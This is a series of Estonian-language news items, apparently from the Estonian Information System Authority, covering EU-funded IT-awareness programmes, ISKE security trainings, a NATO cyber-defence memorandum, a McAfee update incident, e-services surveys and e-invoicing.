Infoühiskonna edendamise meetme tingimused

Link 8. juulil toimunud infotunni salvestusele.
Monika Saarmanni ettekande slaidid.
Aivo Lepa ettekande slaidid.

Lisainfo: jaak.liivik[ät]ria.ee

RIA kuulutas välja riigihanke, millega tellime IT-teemalise telesarja kontseptsiooni loomise, tootmise ja ekraniseerimise talvehooajal 2010/2011.

Telesarja eesmärk on tõsta elanikkonna teadlikkust turvalisest arvutikasutamisest, julgustada lapsevanemaid tundma huvi oma lapse arvutikasutuse vastu ning lapse arvutialastes tegevustes kaasa lööma; anda konkreetseid oskusi arvuti ja e-teenuste turvaliseks kasutamiseks .

Hankes osalema on oodatud ettevõtted, kellel on telesarjade, saadete või filmide tegemise kogemus. Hankedokumentide saamiseks kirjutage palun press[ät]ria.ee Pakkumuste esitamise tähtaeg on 26. juuli kell 10.00.

Telesarja tootmist rahastab Euroopa Liidu struktuurifondide programm „Infoühiskonna teadlikkuse tõstmine“.

11. juunil toimub Tallink City Hotell konverentsikeskuses infopäev riigi infosüsteemi haldussüsteemis (RIHA) andmekogude kirjeldajatele ja semantikavarade koostajatele.

Infopäev annab ülevaate riigi infosüsteemi halduses toimunud arengutest, tutvustab RIHA uut kujundust ja kasutusvõimalusi. Juttu tuleb ka muudatustest andmekogusid puudutavates õigusaktides.

Infopäevale registreerimine

Päevakava (.pdf)

Infopäev toimub Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames, mida rahastab Euroopa Regionaalarengu Fond. Koolitusi aitab läbi viia AS BCS Koolitus.

Eksamisooritajad saavad ka tänavu tellida riigieksamite tulemuste kiirteavituse SMS-i teel. Teavitus on tellijale tasuta, eelmisel aastal saadeti riigiportaali eesti.ee kaudu üle 35 000 SMS-i.

SMS-i saamiseks tuleb aktiveerida riigiportaalis eesti.ee teenus "Riigieksami tulemuse SMS teavituse tellimine" ja sisestada mobiiltelefoni number, millele soovitakse oma eksamitulemuste kohta teavet saada. Lühisõnum saadetakse siis, kui eksamitulemus jõuab riigieksamite infosüsteemi. Sõnumiga edastatakse aine nimetus ja kogutud punktisumma. Iga eksami kohta edastatakse üks sõnum.

Teenuse kasutamiseks peab olema riigiportaali eesti.ee sisse logitud, selleks kasutatakse ID-kaarti, Mobiil-ID-d või internetipanga kaudu autentimist. Teenuse leiab siit.

2009. aastal tegid 21 897 eksaminandi kokku 53 317 eksamivalikut, kokku tehti 35 125 SMS-teavitust. Teavitust teeb Riiklik Eksami- ja Kvalifikatsioonikeskus koostöös EMT, Mobi ja Swedbanki noortepangaga.

Lisainfo:
Aarne Seppel
Eesti.ee juht
Riigi Infosüsteemide Arenduskeskus
6630234 / 5037987
aarne.seppel@ria.ee

2. juunil toimub Tallinnas, Tallink Spa Hotelli konverentsikeskuses seminar ISKE praktikutele - läbi käiakse ISKE rakendamise protsess ning räägitakse, mida head või halba erinevates etappides ette tuleb. Sõna saavad kõik! Seminarile on oodatud kõik aktiivsed ISKE rakendajad suuremates riigiasutustes.

Lisainfo
Registreerimine

Koolitused toimuvad Euroopa Liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames ja seda finantseerib Euroopa Regionaalarengu Fond.

Lisainfo:
Rica Semjonova
SF programm "Infoühiskonna teadlikkuse tõstmine"
6630295
5227674
rica.semjonova@ria.ee
 

Koolituste programmi „Tark e-riik“ egiidi all toimuvad mais-juunis mitmed ISKE ning infoturbe valdkonda üldisemalt käsitlevad koolitused ning seminarid. Toimumiskohtade haare ulatub Tallinnast Kuressaareni. Koolitused on osalejatele tasuta. Koolituste peamine sihtgrupp on avaliku sektori ning kohalike omavalitsuste töötajad.

27. mai – ISKE praktiline rakendamine (Tartu) – ülevaatlik koolitus ISKE valdkonnast. Sobib eelkõige neile, kes alles kavandavad ISKE rakendamist või on alles üsna alguses. (Lektori Andro Kull)
2. juuni – ISKE praktiline rakendamine (Pärnu) (lektor Andro Kull)
2. juuni – ISKE praktikute seminar (Tallinn) – arutlusseminar suurte riigiasutuste ISKE rakendajatele. (modereerib Toomas Viira, RIA)
4. juuni – ISKE audit (Tallinn) – Koolituse läbinu tunneb ISKE rakendamise auditi ja hindamise põhimõtteid ning oskab neid praktilises töös rakendada. (Lektor: Andro Kull)
8.-9. juuni – Infoturve IT-spetsialistile (Tartu) – kahepäevane koolitus avaliku sektori IT-juhtidele, IT-spetsialistidele ning ISKE rakendajatele. (Lektor: Riivo Lepp)
14.-15. juuni – Infoturbe IT-spetsialistile (Tallinn) (Lektor: Riivo Lepp)
21. juuni – Infoturbe sissejuhatus (Kuressaare) (Lektor: Andro Kull)

ISKE turvameetmed aitavad kaitsta kogu IT-valdkonnaga seonduvat, mis omakorda tagab asutuse infosüsteemi kõige hinnalisema vara - andmete – säilimise. ISKE on kohustuslik riigi ja kohaliku omavalitsuste (KOV) andmekogude infosüsteemides, kuid soovi korral saavad seda kasutada ka äriettevõtteid.

Koolitused toimuvad Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames, mida finantseerib Euroopa Regionaalarengu Fond. Koolitusi aitab läbi viia BCS Koolitus AS. Kuna osalejate arv on piiratud, jätab korraldaja endale õiguse registreerumise tühistamisele.

Täpsem info koolituste kaupa RIA kodulehel.

Kiirtee registreerimiskeskkonda.

Palun jagage infot ka oma headele kolleegidele!

Lisainfo:
Rica Semjonova
EL SF programm „Infoühiskonna teadlikkuse tõstmine“
projektijuht
rica.semjonova@ria.ee
6630295
 

Euroopa Liidu infoühiskonna teadlikkuse tõstmise programmi raames tellitud uuringust selgub, et 75 protsenti kõigist e-teenuseid kasutanud Eesti elanikest on nendega väga rahul.

Kasutajate arvates aitavad e-teenused säästa aega, saada kiiremini soovitud infot ning vähendada ametiasutustega suhtlemisel ajakulu ja bürokraatiat.

Viimaste aastate jooksul on suurenenud Eesti elanike teadlikkus avaliku sektori e-teenustest ning erinevatest riiklikest portaalidest ja veebidest. 16-74-aastastest internetikasutajatest 83 protsenti on kasutanud vähemalt ühte avaliku sektori e-teenust ning teadlikkus riigiportaalist eesti.ee on kahe aasta jooksul kahekordistunud.

Kõige populaarsemad on Eestis endiselt finants- ja maksuvaldkonna e-teenused ehk eelkõige e-maksuamet ja tuludeklaratsiooni elektrooniline esitamine. Järgnevad hariduse ning sotsiaal- ja tervishoiuvaldkonna e-teenused.

TNS Emorilt tellitud uuringu eesmärk oli selgitada välja 16-74-aastaste Eesti elanike teadlikkus avalikest e-teenusest ja riigiportaalidest, nende kasutamine ning rahulolu avaliku sektori e-teenustega. Kokku küsitleti 1020 inimest.

Uuringu tulemustega saab tutvuda aadressil http://www.riso.ee/et/infoyhiskond/uuringud

RIA kutsub sel aastal ligi 2000 spetsialisti 53 erinevale IT-alasele koolitustele. Koolitustesari „Tark e-riik“ loodi selleks, et aidata ametnikel ja IT-spetsialistidel paremini IT-lahendusi kasutada, lisaks annab see võimaluse omavaheliseks suhtluseks ning tõhusamaks koostööks.

Koolitusi ning seminare on väga erinevaid – alates väikestele gruppidele mõeldud spetsiifilisest IT-spetsialisti koolitusest kuni suurte infopäevadeni, kuhu on oodatud ametnikud, kes oma töös IT abi kasutavad.

Osad üritused on kutsetega, teised avatud kõigile. Tunniplaani lisanduvad koolitused järgemööda. Järgmised koolitused toimuvad 13. mail Valgas (sissejuhatus infoturbesse) ja 27. mail Tartus (ISKE praktiline rakendamine).

Lisainfo, konkreetsed koolitused ja ajakavad on kättesaadavad RIA kodulehelt.

Koolitused toimuvad Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames, mida rahastab Euroopa Regionaalarengu Fond. Koolitusi aitab läbi viia AS BCS Koolitus.

23. aprillil sõlmisid Eesti ja NATO esindajad küberkaitsealase vastastikuse mõistmise memorandumi.

Allkirjastatud memorandum annab raamistiku edasisele Eesti ja NATO vahelisele infovahetusele ja konsultatsioonidele küberkaitse valdkonnas. Samuti käsitleb memorandum NATO küberkaitsealase toetuse osutamist Eestile võimalikus kriisiolukorras.

Memorandumi NATO-poolseks allkirjastajaks oli NATO asepeasekretär Claudio Bisogniero, Eesti poolt allkirjastasid leppe Teabeameti peadirektor Tarmo Türkson ning Majandus- ja Kommunikatsiooniministeeriumi Riigi Infosüsteemide Arenduskeskuse direktor Epp Joab.

Kolm aastat tagasi Eesti vastu suunatud ulatuslikud ja ohtlikud rünnakud olid otsustavaks ajendiks, mis muutsid NATO arusaamist küberohtudest kui üleilmset julgeolekut mõjutavatest teguritest. Eesti edukas tegutsemine rünnakute tõrjumisel ning sellele järgnenud tegevused riikliku küberjulgeoleku strateegia raames on oluliselt mõjutanud ka NATO samme selles valdkonnas.

NATO on töötanud välja küberkaitse poliitika, mille alusel pakub allianss liikmesriikidele tuge küberohtude ennetamisel ja intsidentide ohjamisel. NATO ja liikmesriikide vahel sõlmitavad kahepoolsed lepped täpsustavad küberkaitse alast koostööd ning loovad sellele selgepiirilise aluse.

Lisainfo:
Martin Jaško
7170105
5052568
martin.jasko@kmin.ee

RIA kuulutas välja hanke, et leida riigi tarkvara raamistiku uue versiooni välja töötaja.

Dokumendis fikseeritakse riigi ja kohalike omavalitsuste asutuste tarkvara kasutamise üldised põhimõtted. Raamistik on juhendmaterjal riigiasutuste IT juhtidele, projektijuhtidele, IT spetsialistidele, hankespetsialistidele, IT arendusfirmadele erasektorist, IT audiitoritele ja järelevalve teostajatele ning riigi infosüsteemi arenduse koordineerijatele.

Hange rahastatakse Euroopa Liidu SF programmist „Infoühiskonna teadlikkuse tõstmine“. Hankega soovitakse leida tarkvara raamistiku uue versiooni koostaja, kelle ülesanne on vaba tarkvara ekspertide võrgustiku loomine ja koostöö korraldamine avaliku sektori ja vaba tarkvara kogukondadega, tarkvaraalaste riigihangete korraldamise soovituste väljatöötamine. Samuti Eesti avaliku sektori vaba tarkvara registreerimine osor.eu portaalis, portaalis osor.eu Eesti vaate tekitamine koostöös Euroopa Komisjoniga, vaba tarkvara produktide hindamine ja nende kasutamissoovituste koostamine, vaba tarkvara päeva sisu ettevalmistamine, tarkvara raamistiku versiooni 2.0 vormistamine, avalikustamine ning uue versiooni planeerimine.

Hankedokumentide saamiseks palume pöörduda Märt Ibruse poole, tel 6397686, mart.ibrus[ät]riso.ee
Hanketeade.

Eile õhtul muutis McAfee viirustõrje automaatne uuendus mitmete asutuste ja firmade Windows XP arvutid töövõimetuks. Intsident tõenäoliselt kodukasutajat ei puuduta - ohustatud olid üksnes tsentraalse viirustõrjega suured süsteemid.

Eile kell viis õhtul Eesti aja järgi tegi McAfee korporatiivkasutajatele kättesaadavaks viirusetõrje uuenduse. See kustutas Windows XP arvutitest süsteemi tööks olulise faili, pidades seda viirusega nakatunuks ning muutes sellega arvuti kasutuskõlbmatuks. Probleem ei ohustanud Windows 7 ja Vista operatsioonisüsteeme ega servereid.

CERT Eesti infoturbe ekspert Anto Veldre sõnul ei ole McAfee Eestis kõige populaarsem viirusetõrje ja loodetavasti pole olukord hull, kuid täpsemalt on probleemi suurust vara hinnata. „Kesköise seisuga oli teada väiksemaid probleeme üksikutes organisatsioonides, kus IT-meeskonnad tegelesid olukorra lahendamisega. Kuivõrd enamik Eesti firmasid ja asutusi lõpetasid töö eile õhtul kell viis, siis on administraatoritel olnud aega, et oma süsteemides vead parandada“, selgitas Veldre.

Probleem puudutab põhiliselt neid suurkasutajaid, kes laadisid uuendused alla esimese tunni-pooleteise jooksul pärast ilmumist. Pihtasaanud arvutil ei tohi lubada restarti teha, muidu muutub taastamine keerukamaks. Juba kannatanud arvutite raviks kulub teatud aeg (10-15 minutit arvuti kohta). Hetkel on saadaval juba uusimad, parandatud uuendused, mis arvuteid ei ohusta.

Tehniline lisainformatsioon.

Valitsus kiitis tänasel istungil heaks elektroonilise side seaduse ja infoühiskonna teenuse seaduse muutmise eelnõu, mis täpsustab elektrooniliste kontaktandmete kasutamist reklaami edastamiseks.

Eelnõu ütleb, et otseturustuslikke sõnumeid ja teadaandeid tohib saata üksnes inimese eelneval nõusolekul. See hõlmab e-posti, faksi, SMS-e ja MMS-e.

Varasemate kliendisuhete ja juriidiliste isikute puhul pole eelnev nõusolek vajalik, kuid kliendile peab jääma võimalus edasisest reklaami saamisest keelduda.

Iga otseturustuslik sõnum peab võimaldama isiku tuvastamist, kelle nimel otseturustust tehakse ja sisaldama viidet võimalusele, kuidas edaspidi vastavate sõnumite saamisest keelduda. Eelnõu ei reguleeri otsepostitust tavapärase posti teel ega reaalajas toimuvaid häälkõnesid isikult isikule (telemarketingi).

Äsja valminud riigi infosüsteemi teejuht annab lihtsa ülevaate, kuidas riigi infosüsteem toimib ja miks ta just selliselt üles ehitatud on. Teejuht on mõeldud eelkõige spetsialistidele, kes ei tööta igapäevaselt IT-teemadega.

Riigi infosüsteemi teejuht seletab ära hulga mõisteid, mida riigi infosüsteemiga seotud ametnikud palju kasutavad ning mis neile sageli liigagi enesestmõistetavad tunduvad. Teejuht räägib keerulistest asjadest võimalikult lihtsalt, näiteks saab teada, mida tähendavad lühendid RIHA või X-tee. Uue registri loomisel on mõlemad vajalikud - milleks nad head on, seda saabki teejuhist lugeda.

Riigi infosüsteemi teejuht asub aadressil www.ria.ee/teejuht Teejuht keskendub viiele põhiteemale – ülevaade Eesti infoühiskonna arengust, e-eesti edulood, riigi infosüsteemi olulisemad osad, avaliku sektori spetsiifika IT-arendustes ning arendusprojektide juhtimise hea praktika.

Nagu riigi infosüstem, ei ole ka teejuht lõplikult valmis, vaid areneb ja täieneb pidevalt. Kõik ettepanekud teejuhi paremaks tegemiseks on teretulnud aadressile ria[ät]ria.ee.

Teejuht valmis Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ja seda finantseerib Euroopa Regionaalarengu Fond. Projekti koostööpartner oli ADM Interactive OÜ.

RIA kutsub osalema hankel  "Riigi otsustusprotsessides osalemise ja kaasamise võimaluste laiendamine info- ja kommunikatsioonitehnoloogia (IKT) poolt pakutavate võimaluste abil (eDemokraatia)."

Tulevase partneri tegevused on eelkõige Eesti e-demokraatia olukorra ja trendide analüüs ning monitooring ning vastavate poliitikasoovituste koostamine. Lisaks on hanke teema e-kaasamise ja e-osaluse alase teadlikkuse tõstmine ning Eesti e-demokraatia alaste kogemuste rahvusvaheline tutvustamine. Tegevusi viiakse ellu kahe aasta jooksul.

Hankes on oodatud osalema taotlejad, kes on kolm aastat tegelenud e-demokraatia või avaliku halduse või kodanikuühiskonna alaste projektide ja tegevustega (valdkondlike uuringute ning põhimõtete/juhiste väljatöötamine).

Hange toimub Euroopa Liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames.

Täpsem info SIIT.

CERT Eesti kutsub IT-juhte ja turbejuhte teabepäevale, mis toimub 18. märtsil kell 8.30 - 14.00 KuMu Auditooriumis Tallinnas. Üritusele on oodatud ka kõik spetsialistid, kes sisuliselt IT juhtimise või infoturbega tegelevad, vaatamata nende ametinimetusele.

Teabepäeval “Tehtud Eestis||2009||2010” räägime, mis toimus ja tehti aastal 2009 ning mis on tulemas-valmimas aastal 2010.

Päevakava

08:30 registreerimine
09:00 avasõnad
09:15
* KKL - Johannes Kert
* S4A - Toomas Lepik
* 122 tulemüüri vallamajadesse - Margus Kreinin
* ID-kaardi baastarkvara - Hannes Linno
* KIIK - Toomas Viira
10:30 paus

10:45
* MSE - Kaspar Hanni
* Paremad i-valimised kui meil - Sven Heiberg, Arne Ansper
* EstWIN - Margus Püüa
* Küberkuritegevus ja FBI - Kalmer Viska
12:00 paus

12:30
* TLD - Marek-Andres Kauts
* VSR - Aivo Jürgenson
* Suurõppus EUs - Lauri Almann
* Küberjulgeoleku alase rahvusvahelise koostöö areng alates 2007 Eesti rünnakutest: poliitilised ja praktilised algatused - Heli Tiirmaa-Klaar
13:45 lõpusõnad
14:00 lõpp

Registreerida saab ainult ID-kaardiga: https://sim.cert.ee/wiki/eid:events:cert-ee:20100318:reg

Registreeruda saab seni, kuni kohti jätkub. Kuna kohtade arv on piiratud, jätavad korraldajad endale õiguse osalejaid valida.

Üritus toimub Euroopa Liidu Strukturifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames.

Majandus- ja Kommunikatsiooniministeeriumi korraldatav iga-aastane Infoühiskonna konverents leiab tänavu aset 17. märtsil 2010 Tallinnas KUMU auditooriumis. Registreerimine on kuni 15. märtsini avatud kõigile.

Konverentsi eesmärgiks on tõsta teadlikkust ning üheskoos arutleda infoühiskonna uute väljakutsete üle.Selle aasta kaks põhiteemat on roheline IT ning avaliku sektori roll sotsiaalses meedias.

Ettekannete ja debattide käigus otsime vastuseid küsimustele:
* Mis on roheline IT ning millised on sellega seonduvad väljakutsed ja võimalused Eesti jaoks?
* Kas ja kuidas peaks avalik sektor sotsiaalsetes võrgustikes toimetama?
* Kuidas mõjutab web2.0 ajastu meie privaatsust?

Rohelise IT teemalise avaettekande teeb Majandusliku Koostöö ja Arengu Organisatsiooni (OECD) internetimajanduse programmidirektor Graham Vickery.

Avaliku sektori rolli uues meedias aitab lahti mõtestada IT-visionäär Linnar Viik.

Üritus on osalejatele tasuta, registreerimine nüüd kõigile avatud kuni 15.märtsini! Konverentsil osalemisest loobumise korral palume teatada konverents@riso.ee Kõik huvilised on oodatud konverentsist osa saama otseülekande ja Twitteri keskkonna vahendusel. Lisainfo ja küsimused: konverents@riso.ee

Täpsemalt vaata konverentsi kodulehelt.

Infoühiskonna konverents toimub Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ja seda rahastab Euroopa Liidu Regionaalarengu Fond.

RIA alustas hanget 53 riigi infosüsteemi puudutava koolituse, seminari ja infopäeva läbiviimiseks EL struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames. RIA ootab sel aastal toimuvatele üritustele üle 2000 osaleja.

„Võrreldes eelmise aastaga on meie koolituste maht kahekordistunud. Osalt jätkame eelmisel aastal välja töötatud koolituste läbiviimist, kuid on ka täiesti uusi valdkondi, millele rõhku paneme – näiteks kriitilise informatsiooni infrastruktuuri kaitse, veebide kasutajamugavus ning riigi infosüsteemi koovõime,“ kommenteeris projektijuht Rica Semjonova.

Koolitusüritused puudutavad erinevaid riigi infosüsteemi valdkondi ning peavad aitama avalikul sektoril riigi infosüsteemi võimalusi oskuslikumalt kasutada. Need ei ole suunatud ainult IT-inimestele – erinevate teemadega puutuvad kokku ka dokumendihaldurid, raamatupidajad, suhtekorraldajad ning juristid. Kõik koolitused on osalejatele tasuta ning esimete koolitustega on kavas alustada juba märtsis-aprillis.

Hankega otsitakse täisteenuse pakkujat, kelle ülesanne on ka vajalike koolitusmaterjaleide loomine, kõik koolituste ettevalmistamise ja läbiviimisega seotud tegevused. Lihtsustatud korras tellitava teenuse pakkumuste esitamise tähtaeg on 23. märts kell 13.00.

Koolitused viiakse läbi Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ning seda finantseerib Euroopa Regionaalarengu Fond.

Lisainfo:
Rica Semjonova
SF programm „Infoühiskonna teadlikkuse tõstmine“
Projektijuht
6630295
rica.semjonova[ät]ria.ee

CIP ICT PSP on Euroopa Liidu finantseeritava konkurentsivõime ja innovatsiooni programmi IKT alamprogramm, mille raames toetatakse 2010. aastal projekte 107 miljoni euro ulatuses.

Programmi infopäevad toimuvad  1. märtsil kell 13.00-17.00 Tallinnas, Majandus- ja Kommunikatsiooniministeeriumis ja 3. märtsil kell 13.00-17.00 Tartus, Atlantise konverentsikeskuses.

Toetusi saab taotleda järgmistes valdkondades:
1. keskkonnasäästlikud lahendused sotsiaalmajutuses, veekasutuses ja ühistranspordis, liiklusturvalisus;
2. digitaalsed raamatukogud;
3. tervis ja kaasamine;
4. avatud innovatsioon tuleviku internetiteenuste jaoks tarkades linnades;
5. parendatud teenused kodanikele ja ettevõtetele;
6. mitmekeelne veeb.

Projektid on suunatud üksmeele saavutamisele konkreetsete IKT lahenduste ühtseks kasutuselevõtuks Euroopa Liidu riikides ning erinevate lahenduste üle-Euroopalisele rakendamisele.

Toetust saavad taotleda nii era- kui avaliku sektori asutused kuni 50% ulatuses otsestest kuludest. Taotluste esitamise tähtaeg on 1. juuni 2010.

Infopäevadel räägitakse CIP ICT PSP finantseeritavatest valdkondadest 2010. aastal, finantseeritavatest teemadest ning finantseerimise instrumentidest.

Infopäeva viivad läbi Majandus- ja kommunikatsiooniministeerium koostöös CIP ICT PSP kontaktisikuga (NCP) Eestis Siim Läänelaidiga. Infopäevast osavõtt on tasuta. Vajalik on eelregistreerimine aadressil http://cip-ict-programm.blogspot.com.

Täna, 9. veebruaril tähistatakse kogu Euroopas turvalise interneti päeva. Selle aasta hüüdlauseks on „Mõtle, enne kui postitad“.

CERT Eesti infoturbe ekspert Tarmo Randeli sõnul juhime sel aastal tähelepanu väga olulisele teemale – internet ei unusta kunagi, tema mälu on pikk, kui suisa mitte igavene. „Iga täiskasvanu ja noor peaks seda endale meenutama, enne kui endast ja oma lähedastest infot ning pilte internetti laeb“.

Uued tehnoloogiad on loovuse arendamiseks ja rõõmu jagamiseks väga paslikud – nende abil saab kerge vaevaga jagada oma sõpradega hetki, mis jäädvustatud mobiiliga tehtud klippidel ja fotodel. Sageli aga ei teata, et otsimootorid leiavad netti riputet klipid ja fotod üles. Seda materjali näevad lisaks sõpradele ka õpetajad, tulevased tööandjad ja meie internetiseeritud Eestis ka edumeelsemad vanavanemad.

Vaata turvalise interneti päeva klippi „Mõtle, enne kui postitad“:
... ja mõtle, enne kui postitad!

Sel nädalal sai läbi riigiportaali eesti.ee tutvustav teavituskampaania, mis sai alguse jõulu esimesel pühal. Jaanuarikuu jooksul kahekordistus @eesti.ee e-posti aadressi loojate arv, riigiportaali külastajate arv tõusis poolteist korda.

Eesti.ee peatoimetaja Argo Leetmaa sõnul oli kampaania üks eesmärke kutsuda inimesi oma @eesti.ee e-posti aadressi aktiveerima. “Nagu numbritest näha, selle eesmärgi täitsime me tublilt. Kampaania jooksul kasvas uute ametliku e-posti suunamiste arv võrreldes detsembriga üle kahe korra.“

@eesti.ee aadress on ametlik suhtlusvahend riigi ja kodaniku vahel, mis inimese eluea jooksul ei muutu. Seda saab kasutada ka isiklikuks suhtluseks, kui soovitakse usaldusväärset ja neutraalset meiliaadressi. Detsembrikuus oli uusi @eesti.ee suunamisi 1600, kampaania jooksul suunas enda ametliku e-posti aadressi ära 3600 inimest.

Teavituskampaania korraldajad loodavad, et peale kampaaniat teab senisest oluliselt suurem osa inimestest riigiportaali olemasolust ning internetikasutajad oskavad avalikke e-teenuseid või teavet otsides pöörduda aadressile www.eesti.ee.

Eestis varem korraldatud uuringud on näidanud, et elanikkonna teadlikkus avalikest teenustest on madal, mis on üks kitsaskoht e-riigi arengus. 2008. aasta lõpus läbi viidud uuring näitas, et 45% küsitletutest ei osanud spontaanselt nimetada mitte ühtegi riigi e-teenust. Riigiportaali teadis 47% vastanutest.

Teavituskampaania toimus Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames, mida rahastab Euroopa Regionaalarengu Fond.

Eelmise nädala lõpul saatis RIA direktor Epp Joab välja kirja, millega lõpetas ühepoolselt lepingu ID-kaardi baastarkvara arendaja, OÜ Smartlinkiga.

Epp Joabi sõnul on RIA siiski valmis vastu võtma selle tarkvara, mis lepingu lõpetamise hetkeks valminud on. „ID-kaardi tarkvara on maailmas ainulaadne ja tarkvaraarendus osutus oluliselt keerukamaks, kui arendaja esialgu hindas. Samas ootavad kasutajad töötavat ID-kaardi tarkvara, mille valmimine oli plaanitud eelmise aasta jaanipäevaks ja mis on hetkeks ligi kaheksa kuud veninud. Selle tõttu pidasime vajalikuks leping lõpetada ja leida uus arenduspartner.“

Tarkvara edasiarendamiseks ja hooldamiseks kuulutab RIA lähiajal välja uue hanke.

Euroopa Komisjon jagab tänavu info- ja kommunikatsioonitehnoloogia projektidele 107 miljonit eurot toetust. Taotlusi saab esitada kuni selle aasta 1. juunini.

Toetust saavad taotleda nii era- kui avaliku sektori asutused info- ja kommunikatsioonitehnoloogia lahenduste rakendamiseks üle-Euroopaliselt.

Kokku saavad sel aastal toetust kuus erinevat valdkonda: keskkonnasäästlikud lahendused sotsiaalmajutuses, veekasutuses ja ühistranspordis, liiklusturvalisus; digitaalsed raamatukogud; tervis ja kaasamine; avatud innovatsioon tuleviku internetiteenuste jaoks tarkades linnades; paremad teenused kodanikele ja ettevõtetele; mitmekeelne veeb.

Varasematel aastatel on projektides Eestist edukalt osalenud näiteks AS Sertifitseerimiskeskus, AS Ida-Tallinna Keskhaigla, Eesti E-tervise SA ja Tietoenator Eesti AS.

Programmi infopäevad toimuvad Tallinnas 17. veebruaril ning Tartus 3. märtsil. Täpsem info Euroopa konkurentsivõime ja innovatsiooni programmi (CIP) info- ja kommunikatsioonitehnoloogia (ICT) poliitikatoetuse alamprogrammi (PSP) 4. taotlusvooru eestikeelsel veebilehelt: http://cip-ict-programm.blogspot.com.

9. ja 18. veebruaril ning 16. märtsil mängitakse Tallinna Õpetajate Majas teatraliseeritud koolitusprogrammi „e-riigi teater“, mis on suunatud eelkõige avaliku sektori juhtidele ning IT-arendusfirmade juhtidele.

Professionaalsed näitlejad (Tiit Palu, Piret Laurimaa, Ahti Puudersell, Lauri Kink, Kaili Viidas) mängivad ette ühe e-teenuse arenguloo läbi raskuste, mis avalike teenuste e-kanalitesse viimine kaasa võib tuua. Koolituse juhid - Margus Püüa (RISO) ja Heiti Pakk (Juhtimisteater) jagavad kommentaare ja mõtteid selle kohta, mida tähele panna ja millest midagi õppida. Kolmel korral lastakse osalejatel rühmatööde abil „sekkuda“ sündmuste käiku ja välja pakkuda, mida võiks päris elus teha teistmoodi või lausa uutmoodi.

Esimene koolitus viidi läbi eelmise aasta lõpus esimeste kõrgemate infoühiskonna kursuste raames.
Koolitused toimuvad Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames ning seda finantseerib Euroopa Regionaalarengu Fond.

Lisainfo ja registreerimine:
http://www.ria.ee/koolitus-e-riigi-teater
 

Riigi Infosüsteemide Arenduskeskus alustab 25. jaanuaril 2010 struktuuritoetuse taotluste vastuvõttu taotlusvooru „Eurole üleminekuks infosüsteemide korrastamine“.

Taotlusvooru eesmärk on riigi infosüsteemide eurovalmiduse tagamine, toetust võivad taotleda kõik valitsusasutused ja nende hallatavad asutused.

Taotluste esitamise tähtaeg on 3. märts ja taotlusvooru eelarve on 45 miljonit krooni.Taotlus tuleb sisestada elektrooniliselt aadressil: www.eesti.ee/projektijuhtimine. Taotluse deklaratsiooni palume esitada kirjalikult aadressile Rävala 5, 15169 Tallinn või elektrooniliselt aadressile ria[ät]ria.ee.

Taotluste esitamise tingimused on toodud majandus- ja kommunikatsiooniministri 11.05.2009.a. määruses nr 50 „Infoühiskonna edendamise meetme tingimused avatud taotlemise alusel“.Lisainfot taotluste esitamise kohta saab RIA kodulehelt  ja meiliaadressilt ria[ät]ria.ee

Aasta alguses alustas Eesti Posti eArvekeskus avalikule sektorile dokumendivahetuskeskuse (DVK) kaudu e-arvete edastamist.

Arvete jõudmine asutuseni

Arved jõuavad otse dokumendivahetuskeskusega liitunud asutuse dokumendihaldussüsteemi, elektroonilist ostuarvete kinnitamist võimaldavase süsteemi või majandustarkvarasse. Esialgu saadetakse arved asutuse dokumendihaldussüsteemi PDF-kujul. Sellele on lisatud arve info XML kujul vastavalt Eesti e-arvete standardile.

Kuidas saabunud e-arvet menetleda?

Saabunud e-arvete menetluseks on mitmeid võimalusi. Juhul, kui asutuses on täna praktika kinnitada arveid dokumendihaldussüsteemi kaudu, saab saabunud e-arve kohe dokumendihaldussüsteemi kaudu kinnitamisele saata. E-arve on XML kujul, mis tähendab, et paljud väljad täidetakse juba kasutaja eest.

eArvekeskus pakub asutustele elektroonilise ostuarvete kinnitamise lahendust, luues liidestusvalmiduse enamiku avalikus sektoris kasutavate majandustarkvaradega. See tähendab, et saabunud arve on võimalik pärast kulujuhtide poolt kinnitamist koos kulujaotuse infoga (kontod, osakonnad, projektid jms) otse majandustarkvarasse saata.

2010. aasta jooksul arendab RIA kõigile levinumatele dokumendihaldussüsteemidele oskuse e-arveid vastu võtta, menetleda ja raamatupidamisse saata.

Kui asutuses ei ole e-arvete valmidust, tuleb saabunud e-arvega kaasas olev PDF välja trükkida. Edasi saab teda kohelda kui paberkujul saabunud arvet.

Kes on e-arvete saatjad ning kuidas käib e-arvete saamine?

E-arvete saatjad saavad olla kõik eArvekeskusega liitunud ettevõtted ning FIE-d. eArvekeskuses on juriidilistel isikutel võimalik e-arvete saatmist alustada 5 minutiga. eArvekeskusel on loodud liidestusvalmidus enamlevinud majandustarkvaradega, mis võimaldab lühikese ajaga alustada otse majandustarkvarast e-arvete saatmist ning vastuvõtmist.

Dokumendivahetuskeskusega liitunud asutuste nimekiri.

Eesti Posti eArvekeskus.

Lisainfo:
Hannes Linno
Riigi Infosüsteemide Arenduskeskus
Valdkonnajuht
+372 6630294
+372 56622550
hannes.linno[ät]ria.ee

Riigi Infosüsteemide Arenduskeskusel on valminud ISKE auditi juhend, mis annab täpsemaid juhiseid ISKE auditite läbiviimiseks.

Üldisel tasemel on ISKE auditite läbiviimine reguleeritud määrusega Infosüsteemide turvameetmete süsteem. Valminud ISKE auditi juhendis täpsustatakse auditeerimise asjaolusid, mis vajavad täpsustamist ning antakse täiendavaid juhiseid ISKE auditite tellimiseks ja läbi viimiseks.

ISKE audit tuleb tellida riigiasutusel, kelle andmekogu kuulub riigi infosüsteemi. Kohalike omavalitsuste andmekogude auditi tellib Majandus- ja Kommunikatsiooniministeerium lähtuvalt vajadusest.

Viide juhendile.

